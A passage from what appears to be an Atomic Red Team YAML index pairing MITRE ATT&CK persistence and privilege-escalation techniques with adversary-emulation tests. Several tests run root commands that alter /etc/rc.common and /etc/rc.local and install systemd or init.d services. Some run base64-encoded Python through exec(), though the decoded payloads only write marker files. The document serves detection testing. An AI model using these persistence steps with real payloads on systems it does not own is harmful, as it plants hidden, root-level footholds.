      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1037.004:
    technique:
      modified: '2024-04-16T12:22:29.150Z'
      name: 'Boot or Logon Initialization Scripts: Rc.common'
      description: |-
        Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.

        Adversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.

        Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)

        Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for unexpected changes to RC scripts in the <code>/etc/</code>
        directory. Monitor process execution resulting from RC scripts for unusual
        or unknown applications or behavior.\n\nMonitor for <code>/etc/rc.local</code>
        file creation. Although types of RC scripts vary for each Unix-like distribution,
        several execute <code>/etc/rc.local</code> if present. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Linux
      - Network
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'File: File Modification'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - root
      type: attack-pattern
      id: attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211
      created: '2020-01-15T16:25:22.260Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1037/004
        external_id: T1037.004
      - source_name: Apple Developer Doco Archive Launchd
        description: Apple. (2016, September 13). Daemons and Services Programming
          Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.
        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
      - source_name: Startup Items
        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
          2017.
        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
      - source_name: Ubuntu Manpage systemd rc
        description: Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility
          generator for starting /etc/rc.local and        /usr/sbin/halt.local during
          boot and shutdown. Retrieved February 23, 2021.
        url: http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html
      - source_name: IranThreats Kittens Dec 2017
        description: Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten,
          A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.
        url: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/
      - source_name: Methods of Mac Malware Persistence
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
      - source_name: intezer-kaiji-malware
        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
          turning to Golang. Retrieved December 17, 2020.'
        url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
      - source_name: Intezer HiddenWasp Map 2019
        description: Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted
          Linux Systems. Retrieved June 24, 2019.
        url: https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1037.004
    atomic_tests:
    - name: rc.common
      auto_generated_guid: 97a48daa-8bca-4bc0-b1a9-c1d163e762de
      description: |
        Modify rc.common

        [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html)
      supported_platforms:
      - macos
      executor:
        command: 'sudo echo osascript -e ''tell app "Finder" to display dialog "Hello
          World"'' >> /etc/rc.common

          '
        elevation_required: true
        name: bash
    - name: rc.common
      auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a
      description: 'Modify rc.common

        '
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
          printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
          echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
          printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
          sudo chmod +x /etc/rc.common
        cleanup_command: 'origfilename=''/etc/rc.common.original'';if [ ! -f $origfilename
          ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common
          && sudo rm $origfilename;fi

          '
    - name: rc.local
      auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102
      description: 'Modify rc.local

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
          [ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local
          echo "\npython3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
          printf 'exit 0' | sudo tee -a /etc/rc.local
          sudo chmod +x /etc/rc.local
        cleanup_command: 'origfilename=''/etc/rc.local.original'';if [ ! -f $origfilename
          ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local &&
          sudo rm $origfilename;fi

          '
  T1134:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Access Token Manipulation
      description: |-
        Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

        An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

        Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Tom Ueltschi @c_APT_ure
      - Travis Smith, Tripwire
      - Robby Winchester, @robwinchester3
      - Jared Atkinson, @jaredcatkinson
      x_mitre_deprecated: false
      x_mitre_detection: "If an adversary is using a standard command-line shell,
        analysts can detect token manipulation by auditing command-line activity.
        Specifically, analysts should look for use of the <code>runas</code> command.
        Detailed command-line logging is not enabled by default in Windows.(Citation:
        Microsoft Command-line Logging)\n\nIf an adversary is using a payload that
        calls the Windows token APIs directly, analysts can detect token manipulation
        only through careful analysis of user network activity, examination of running
        processes, and correlation with other endpoint and network behavior. \n\nThere
        are many Windows API calls a payload can take advantage of to manipulate access
        tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code>(Citation:
        Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code>(Citation:
        Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API
        pages for more information.\n\nQuery systems for process and thread token
        information and look for inconsistencies such as user owns processes impersonating
        the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook
        for inconsistencies between the various fields that store PPID information,
        such as the EventHeader ProcessId from data collected via Event Tracing for
        Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID
        and ParentProcessID (which are also produced from ETW and other utilities
        such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId
        identifies the actual parent process."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'User Account: User Account Metadata'
      - 'Process: Process Metadata'
      - 'Process: Process Creation'
      - 'Active Directory: Active Directory Object Modification'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - Heuristic Detection
      - System Access Controls
      - Host Forensic Analysis
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48
      created: '2017-12-14T16:46:06.044Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1134
        external_id: T1134
      - source_name: BlackHat Atkinson Winchester Token Manipulation
        description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is
          No One: Hunting for Token Manipulation. Retrieved December 21, 2017.'
        url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf
      - source_name: Microsoft Command-line Logging
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
      - source_name: Microsoft LogonUser
        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
        url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
      - source_name: Microsoft DuplicateTokenEx
        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
        url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
      - source_name: Microsoft ImpersonateLoggedOnUser
        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
        url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
      - source_name: Pentestlab Token Manipulation
        description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April
          21, 2017.
        url: https://pentestlab.blog/2017/04/03/token-manipulation/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1543.002:
    technique:
      modified: '2024-02-15T14:19:22.282Z'
      name: 'Create or Modify System Process: SysV/Systemd Service'
      description: "Adversaries may create or modify systemd services to repeatedly
        execute malicious payloads as part of persistence. Systemd is a system and
        service manager commonly used for managing background daemon processes (also
        known as services) and other system resources.(Citation: Linux man-pages:
        systemd January 2014) Systemd is the default initialization (init) system
        on many Linux distributions replacing legacy init systems, including SysVinit
        and Upstart, while remaining backwards compatible.  \n\nSystemd utilizes unit
        configuration files with the `.service` file extension to encode information
        about a service's process. By default, system level unit files are stored
        in the `/systemd/system` directory of the root owned directories (`/`). User
        level unit files are stored in the `/systemd/user` directories of the user
        owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the
        `.service` unit files, the following directives are used to execute commands:(Citation:
        freedesktop systemd.service)  \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost`
        directives execute when a service is started manually by `systemctl` or on
        system start if the service is set to automatically start.\n* `ExecReload`
        directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`,
        and `ExecStopPost` directives execute when a service is stopped.  \n\nAdversaries
        have created new service files, altered the commands a `.service` file’s directive
        executes, and modified the user directive a `.service` file executes as, which
        could result in privilege escalation. Adversaries may also place symbolic
        links in these directories, enabling systemd to find these payloads regardless
        of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation:
        airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016)
        \n\nThe .service file’s User directive can be used to run service as a specific
        user, which could result in privilege escalation based on specific user/group
        permissions. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Tony Lambert, Red Canary
      - Emad Al-Mousa, Saudi Aramco
      - Tim (Wadhwa-)Brown
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor file creation and modification events of Systemd
        service unit configuration files in the default directory locations for `root`
        & `user` level permissions. Suspicious processes or scripts spawned in this
        manner will have a parent process of ‘systemd’, a parent process ID of 1,
        and will usually execute as the `root` user.(Citation: lambert systemd 2022)
        \n\nSuspicious systemd services can also be identified by comparing results
        against a trusted system baseline. Malicious systemd services may be detected
        by using the systemctl utility to examine system wide services: `systemctl
        list-units -–type=service –all`. Analyze the contents of `.service` files
        present on the file system and ensure that they refer to legitimate, expected
        executables, and symbolic links.(Citation: Berba hunting linux systemd)\n\nAuditing
        the execution and command-line arguments of the `systemctl` utility, as well
        related utilities such as `/usr/sbin/service` may reveal malicious systemd
        service execution."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Service: Service Creation'
      - 'Service: Service Modification'
      - 'Process: Process Creation'
      - 'File: File Creation'
      x_mitre_permissions_required:
      - User
      - root
      type: attack-pattern
      id: attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b
      created: '2020-01-17T16:15:19.870Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1543/002
        external_id: T1543.002
      - source_name: airwalk backdoor unix systems
        description: airwalk. (2023, January 1). A guide to backdooring Unix systems.
          Retrieved May 31, 2023.
        url: http://www.ouah.org/backdoors.html
      - source_name: Anomali Rocke March 2019
        description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With
          a New Malware Family Written in Golang. Retrieved April 24, 2019.
        url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
      - source_name: freedesktop systemd.service
        description: Free Desktop. (n.d.). systemd.service — Service unit configuration.
          Retrieved March 20, 2023.
        url: https://www.freedesktop.org/software/systemd/man/systemd.service.html
      - source_name: 'Linux man-pages: systemd January 2014'
        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
          Retrieved April 23, 2019.
        url: http://man7.org/linux/man-pages/man1/systemd.1.html
      - source_name: Berba hunting linux systemd
        description: 'Pepe Berba. (2022, January 30). Hunting for Persistence in Linux
          (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.'
        url: https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/
      - source_name: Rapid7 Service Persistence 22JUNE2016
        description: Rapid7. (2016, June 22). Service Persistence. Retrieved April
          23, 2019.
        url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence
      - source_name: lambert systemd 2022
        description: 'Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding
          systemd service persistence. Retrieved March 20, 2023.'
        url: https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1543.002
    atomic_tests:
    - name: Create Systemd Service
      auto_generated_guid: d9e4f24f-aa67-4c6e-bcbf-85622b697a7c
      description: 'This test creates a Systemd service unit file and enables it as
        a service.

        '
      supported_platforms:
      - linux
      input_arguments:
        systemd_service_path:
          description: Path to systemd service unit file
          type: path
          default: "/etc/systemd/system"
        systemd_service_file:
          description: File name of systemd service unit file
          type: string
          default: art-systemd-service.service
        execstoppost_action:
          description: ExecStopPost action for Systemd service
          type: string
          default: "/bin/touch /tmp/art-systemd-execstoppost-marker"
        execreload_action:
          description: ExecReload action for Systemd service
          type: string
          default: "/bin/touch /tmp/art-systemd-execreload-marker"
        execstart_action:
          description: ExecStart action for Systemd service
          type: string
          default: "/bin/touch /tmp/art-systemd-execstart-marker"
        execstop_action:
          description: ExecStop action for Systemd service
          type: string
          default: "/bin/touch /tmp/art-systemd-execstop-marker"
        execstartpre_action:
          description: ExecStartPre action for Systemd service
          type: string
          default: "/bin/touch /tmp/art-systemd-execstartpre-marker"
        execstartpost_action:
          description: ExecStartPost action for Systemd service
          type: string
          default: "/bin/touch /tmp/art-systemd-execstartpost-marker"
      executor:
        command: |
          echo "[Unit]" > #{systemd_service_path}/#{systemd_service_file}
          echo "Description=Atomic Red Team Systemd Service" >> #{systemd_service_path}/#{systemd_service_file}
          echo "" >> #{systemd_service_path}/#{systemd_service_file}
          echo "[Service]" >> #{systemd_service_path}/#{systemd_service_file}
          echo "Type=simple"
          echo "ExecStart=#{execstart_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStartPre=#{execstartpre_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStartPost=#{execstartpost_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecReload=#{execreload_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStop=#{execstop_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStopPost=#{execstoppost_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "" >> #{systemd_service_path}/#{systemd_service_file}
          echo "[Install]" >> #{systemd_service_path}/#{systemd_service_file}
          echo "WantedBy=default.target" >> #{systemd_service_path}/#{systemd_service_file}
          systemctl daemon-reload
          systemctl enable #{systemd_service_file}
          systemctl start #{systemd_service_file}
        cleanup_command: |
          systemctl stop #{systemd_service_file}
          systemctl disable #{systemd_service_file}
          rm -rf #{systemd_service_path}/#{systemd_service_file}
          systemctl daemon-reload
        name: bash
    - name: Create SysV Service
      auto_generated_guid: 760fe8d2-79d9-494f-905e-a239a3df86f6
      description: 'This test creates a SysV service unit file and enables it as a
        service.

        '
      supported_platforms:
      - linux
      input_arguments:
        rc_service_path:
          description: Path to rc service file
          type: path
          default: "/usr/local/etc/rc.d"
        rc_service_file:
          description: File name of rc service file
          type: string
          default: art-test
      executor:
        command: "echo '#\\!/bin/sh' > #{rc_service_path}/#{rc_service_file}\necho
          ' ' >> #{rc_service_path}/#{rc_service_file}\necho '#' >> #{rc_service_path}/#{rc_service_file}\necho
          '# PROVIDE: art-test' >> #{rc_service_path}/#{rc_service_file}\necho '#
          REQUIRE: LOGIN' >> #{rc_service_path}/#{rc_service_file}\necho '# KEYWORD:
          shutdown' >> #{rc_service_path}/#{rc_service_file}\necho ' ' >> #{rc_service_path}/#{rc_service_file}\necho
          '. /etc/rc.subr' >> #{rc_service_path}/#{rc_service_file}\necho ' ' >> #{rc_service_path}/#{rc_service_file}\necho
          'name=\"art_test\"' >> #{rc_service_path}/#{rc_service_file}\necho 'rcvar=art_test_enable'
          >> #{rc_service_path}/#{rc_service_file}\necho 'load_rc_config ${name}'
          >> #{rc_service_path}/#{rc_service_file}\necho 'command=\"/usr/bin/touch\"'
          >> #{rc_service_path}/#{rc_service_file}\necho 'start_cmd=\"art_test_start\"'
          >> #{rc_service_path}/#{rc_service_file}\necho '' >> #{rc_service_path}/#{rc_service_file}\necho
          'art_test_start()' >> #{rc_service_path}/#{rc_service_file}     \necho '{'
          >> #{rc_service_path}/#{rc_service_file}\necho '  ${command} /tmp/art-test.marker'
          >> #{rc_service_path}/#{rc_service_file}\necho '}' >> #{rc_service_path}/#{rc_service_file}\necho
          ' ' >> #{rc_service_path}/#{rc_service_file}     \necho 'run_rc_command
          \"$1\"' >> #{rc_service_path}/#{rc_service_file}\nchmod +x #{rc_service_path}/#{rc_service_file}\nservice
          art-test enable\nservice art-test start\n"
        cleanup_command: |
          sysrc -x art_test_enable
          rm -f #{rc_service_path}/#{rc_service_file}
        name: sh
    - name: Create Systemd Service file,  Enable the service , Modify and Reload the
        service.
      auto_generated_guid: c35ac4a8-19de-43af-b9f8-755da7e89c89
      description: "This test creates a systemd service unit file and enables it to
        autostart on boot. Once service is created and enabled, it also modifies this
        same service file showcasing both Creation and Modification of system process.
        \n"
      supported_platforms:
      - linux
      dependencies:
      - description: 'System must be Ubuntu ,Kali OR CentOS.

          '
        prereq_command: 'if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat
          /etc/os-release | grep -i ID=kali) ] || [ $(cat /etc/os-release | grep -i
          ''ID="centos"'') ]; then exit /b 0; else exit /b 1; fi;

          '
        get_prereq_command: 'echo Please run from Ubuntu ,Kali OR CentOS.

          '
      executor:
        name: bash
        elevation_required: true
        command: "cat > /etc/init.d/T1543.002 << EOF\n#!/bin/bash\n### BEGIN INIT
          INFO\n# Provides : Atomic Test T1543.002\n# Required-Start: $all\n# Required-Stop
          : \n# Default-Start: 2 3 4 5\n# Default-Stop: \n# Short Description: Atomic
          Test for Systemd Service Creation\n### END INIT INFO\npython3 -c \"import
          os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBDcmVhdGluZyBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLmNyZWF0aW9uJykK'))\"\nEOF\n\nchmod
          +x /etc/init.d/T1543.002\nif [ $(cat /etc/os-release | grep -i ID=ubuntu)
          ] || [ $(cat /etc/os-release | grep -i ID=kali) ]; then update-rc.d T1543.002
          defaults; elif [ $(cat /etc/os-release | grep -i 'ID=\"centos\"') ]; then
          chkconfig T1543.002 on ; else echo \"Please run this test on Ubnutu , kali
          OR centos\" ; fi ;\nsystemctl enable T1543.002\nsystemctl start T1543.002\n\necho
          \"python3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgYSBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLm1vZGlmaWNhdGlvbicpCg=='))\\\"\"
          | sudo tee -a /etc/init.d/T1543.002\nsystemctl daemon-reload\nsystemctl
          restart T1543.002\n"
        cleanup_command: |
          systemctl stop T1543.002
          systemctl disable T1543.002
          rm -rf /etc/init.d/T1543.002
          systemctl daemon-reload
  T1547.013:
    technique:
      modified: '2023-10-16T16:35:12.501Z'
      name: XDG Autostart Entries
      description: |-
        Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user’s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)

        Adversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user’s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.

        Adversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Tony Lambert, Red Canary
      x_mitre_deprecated: false
      x_mitre_detection: "Malicious XDG autostart entries may be detected by auditing
        file creation and modification events within the <code>/etc/xdg/autostart</code>
        and <code>~/.config/autostart</code> directories. Depending on individual
        configurations, defenders may need to query the environment variables <code>$XDG_CONFIG_HOME</code>
        or <code>$XDG_CONFIG_DIRS</code> to determine the paths of Autostart entries.
        Autostart entry files not associated with legitimate packages may be considered
        suspicious. Suspicious entries can also be identified by comparing entries
        to a trusted system baseline.\n \nSuspicious processes or scripts spawned
        in this manner will have a parent process of the desktop component implementing
        the XDG specification and will execute as the logged on user."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      - root
      type: attack-pattern
      id: attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11
      created: '2019-09-10T18:13:12.195Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/013
        external_id: T1547.013
      - source_name: Free Desktop Application Autostart Feb 2006
        description: Free Desktop. (2006, February 13). Desktop Application Autostart
          Specification. Retrieved September 12, 2019.
        url: https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html
      - source_name: Free Desktop Entry Keys
        description: Free Desktop. (2017, December 24). Recognized Desktop Entry Keys.
          Retrieved September 12, 2019.
        url: https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html
      - source_name: Red Canary Netwire Linux 2022
        description: TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux.
          Retrieved September 28, 2023.
        url: https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1055.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744
      type: attack-pattern
      created: '2020-01-14T01:30:41.092Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.005
        url: https://attack.mitre.org/techniques/T1055/005
      - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
        description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif
          Variant Employs Malicious TLS Callback Technique to Achieve Process Injection.
          Retrieved December 18, 2017.
        source_name: FireEye TLS Nov 2017
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      modified: '2022-04-25T14:00:00.188Z'
      name: Thread Local Storage
      description: "Adversaries may inject malicious code into processes via thread
        local storage (TLS) callbacks in order to evade process-based defenses as
        well as possibly elevate privileges. TLS callback injection is a method of
        executing arbitrary code in the address space of a separate live process.
        \n\nTLS callback injection involves manipulating pointers inside a portable
        executable (PE) to redirect a process to malicious code before reaching the
        code's legitimate entry point. TLS callbacks are normally used by the OS to
        setup and/or cleanup data used by threads. Manipulating TLS callbacks may
        be performed by allocating and writing to specific offsets within a process’
        memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055)
        techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation:
        FireEye TLS Nov 2017)\n\nRunning code in the context of another process may
        allow access to the process's memory, system/network resources, and possibly
        elevated privileges. Execution via TLS callback injection may also evade detection
        from security products since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
